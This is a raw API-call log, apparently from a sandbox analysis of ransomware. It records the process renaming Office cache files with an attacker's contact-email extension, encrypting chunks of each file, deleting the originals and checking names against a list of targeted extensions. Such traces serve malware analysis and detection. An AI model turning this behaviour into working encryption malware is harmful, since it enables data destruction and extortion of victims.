	[0046.255] lstrlenW (lpString="VisioLR.cab") returned 11
	[0046.255] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0046.255] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=50823389) returned 1
	[0046.255] CloseHandle (hObject=0x1a0) returned 1
	[0046.255] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020
	[0046.256] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.256] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0046.256] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0046.256] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0x0) returned 1
	[0046.256] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.256] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c60058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.506] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.506] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.509] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0046.509] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.509] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.524] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.524] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x35afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afcb0*=0xc0102, lpOverlapped=0x0) returned 1
	[0046.541] SetEndOfFile (hFile=0x1a0) returned 1
	[0046.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f037d0
	[0046.545] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0046.545] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0046.546] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0046.546] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0046.547] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0046.547] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0046.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f037d0 | out: hHeap=0x4f0000) returned 1
	[0046.549] CloseHandle (hObject=0x1a0) returned 1
	[0046.783] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0046.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0046.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0046.924] lstrlenW (lpString=".doc") returned 4
	[0046.924] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0046.924] lstrlenW (lpString=".docx") returned 5
	[0046.924] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0046.924] lstrlenW (lpString=".pdf") returned 4
	[0046.924] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0046.924] lstrlenW (lpString=".xls") returned 4
	[0046.924] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0046.924] lstrlenW (lpString=".xlsx") returned 5
	[0046.924] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0046.924] lstrlenW (lpString=".ppt") returned 4
	[0046.924] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0046.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0046.924] lstrlenW (lpString=".zip") returned 4
	[0046.924] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0046.924] lstrlenW (lpString=".rar") returned 4
	[0046.924] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0046.924] lstrlenW (lpString=".bz2") returned 4
	[0046.924] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0046.924] lstrlenW (lpString=".7z") returned 3
	[0046.924] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0046.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0046.924] lstrlenW (lpString=".dbf") returned 4
	[0046.924] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0046.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0046.924] lstrlenW (lpString=".1cd") returned 4
	[0046.925] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0046.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0046.925] lstrlenW (lpString=".jpg") returned 4
	[0046.925] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0046.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0046.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0046.925] lstrlenW (lpString=".doc") returned 4
	[0046.925] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0046.925] lstrlenW (lpString=".docx") returned 5
	[0046.925] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0046.925] lstrlenW (lpString=".pdf") returned 4
	[0046.925] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0046.925] lstrlenW (lpString=".xls") returned 4
	[0046.925] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0046.925] lstrlenW (lpString=".xlsx") returned 5
	[0046.925] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0046.925] lstrlenW (lpString=".ppt") returned 4
	[0046.925] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0046.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0046.925] lstrlenW (lpString=".zip") returned 4
	[0046.925] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0046.925] lstrlenW (lpString=".rar") returned 4
	[0046.925] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0046.925] lstrlenW (lpString=".bz2") returned 4
	[0046.925] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0046.925] lstrlenW (lpString=".7z") returned 3
	[0046.925] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0046.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0046.925] lstrlenW (lpString=".dbf") returned 4
	[0046.926] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0046.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0046.926] lstrlenW (lpString=".1cd") returned 4
	[0046.926] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0046.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74
	[0046.926] lstrlenW (lpString=".jpg") returned 4
	[0046.926] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0046.926] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0046.926] lstrlenW (lpString="ProjLR.cab") returned 10
	[0046.926] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0046.929] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=8265165) returned 1
	[0046.929] CloseHandle (hObject=0x208) returned 1
	[0046.930] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020
	[0046.930] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.930] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0046.930] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0046.930] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0x0) returned 1
	[0046.930] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.930] ReadFile (in: hFile=0x208, lpBuffer=0x3c60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c60058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.940] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.940] ReadFile (in: hFile=0x208, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.943] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0046.943] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.943] ReadFile (in: hFile=0x208, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.968] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.968] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x35afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afcb0*=0xc0100, lpOverlapped=0x0) returned 1
	[0047.311] SetEndOfFile (hFile=0x208) returned 1
	[0047.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f637d8
	[0047.316] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.316] WriteFile (in: hFile=0x208, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.317] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.317] WriteFile (in: hFile=0x208, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.319] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.319] WriteFile (in: hFile=0x208, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f637d8 | out: hHeap=0x4f0000) returned 1
	[0047.322] CloseHandle (hObject=0x208) returned 1
	[0047.322] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0047.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0047.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0047.322] lstrlenW (lpString=".doc") returned 4
	[0047.322] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0047.322] lstrlenW (lpString=".docx") returned 5
	[0047.322] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0047.322] lstrlenW (lpString=".pdf") returned 4
	[0047.322] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0047.322] lstrlenW (lpString=".xls") returned 4
	[0047.322] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0047.322] lstrlenW (lpString=".xlsx") returned 5
	[0047.322] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0047.322] lstrlenW (lpString=".ppt") returned 4
	[0047.322] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0047.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0047.322] lstrlenW (lpString=".zip") returned 4
	[0047.322] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0047.323] lstrlenW (lpString=".rar") returned 4
	[0047.323] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0047.323] lstrlenW (lpString=".bz2") returned 4
	[0047.323] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0047.323] lstrlenW (lpString=".7z") returned 3
	[0047.323] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0047.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0047.323] lstrlenW (lpString=".dbf") returned 4
	[0047.323] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0047.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0047.323] lstrlenW (lpString=".1cd") returned 4
	[0047.323] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0047.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0047.323] lstrlenW (lpString=".jpg") returned 4
	[0047.323] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0047.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0047.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0047.323] lstrlenW (lpString=".doc") returned 4
	[0047.323] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0047.323] lstrlenW (lpString=".docx") returned 5
	[0047.323] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0047.323] lstrlenW (lpString=".pdf") returned 4
	[0047.323] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0047.323] lstrlenW (lpString=".xls") returned 4
	[0047.323] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0047.323] lstrlenW (lpString=".xlsx") returned 5
	[0047.323] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0047.323] lstrlenW (lpString=".ppt") returned 4
	[0047.323] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0047.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0047.324] lstrlenW (lpString=".zip") returned 4
	[0047.324] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0047.324] lstrlenW (lpString=".rar") returned 4
	[0047.324] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0047.324] lstrlenW (lpString=".bz2") returned 4
	[0047.324] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0047.324] lstrlenW (lpString=".7z") returned 3
	[0047.324] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0047.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0047.324] lstrlenW (lpString=".dbf") returned 4
	[0047.324] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0047.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0047.324] lstrlenW (lpString=".1cd") returned 4
	[0047.324] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0047.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0047.324] lstrlenW (lpString=".jpg") returned 4
	[0047.324] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0047.324] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0047.324] lstrlenW (lpString="dwintl20.dll") returned 12
	[0047.324] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0047.325] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=107912) returned 1
	[0047.325] CloseHandle (hObject=0x208) returned 1
	[0047.325] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020
	[0047.325] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.325] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0047.325] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.325] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.325] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0047.353] GetLastError () returned 0x0
	[0047.353] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0x1a588, lpOverlapped=0x0) returned 1
	[0047.518] WriteFile (in: hFile=0x1bc, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0x1a590, lpOverlapped=0x0) returned 1
	[0047.523] ReadFile (in: hFile=0x208, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0x0, lpOverlapped=0x0) returned 1
	[0047.523] WriteFile (in: hFile=0x1bc, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0xec, lpOverlapped=0x0) returned 1
	[0047.524] SetEndOfFile (hFile=0x1bc) returned 1
	[0047.524] CloseHandle (hObject=0x1bc) returned 1
	[0047.524] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.524] SetEndOfFile (hFile=0x208) returned 1
	[0047.525] CloseHandle (hObject=0x208) returned 1
	[0047.526] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0047.526] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1
	[0047.526] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
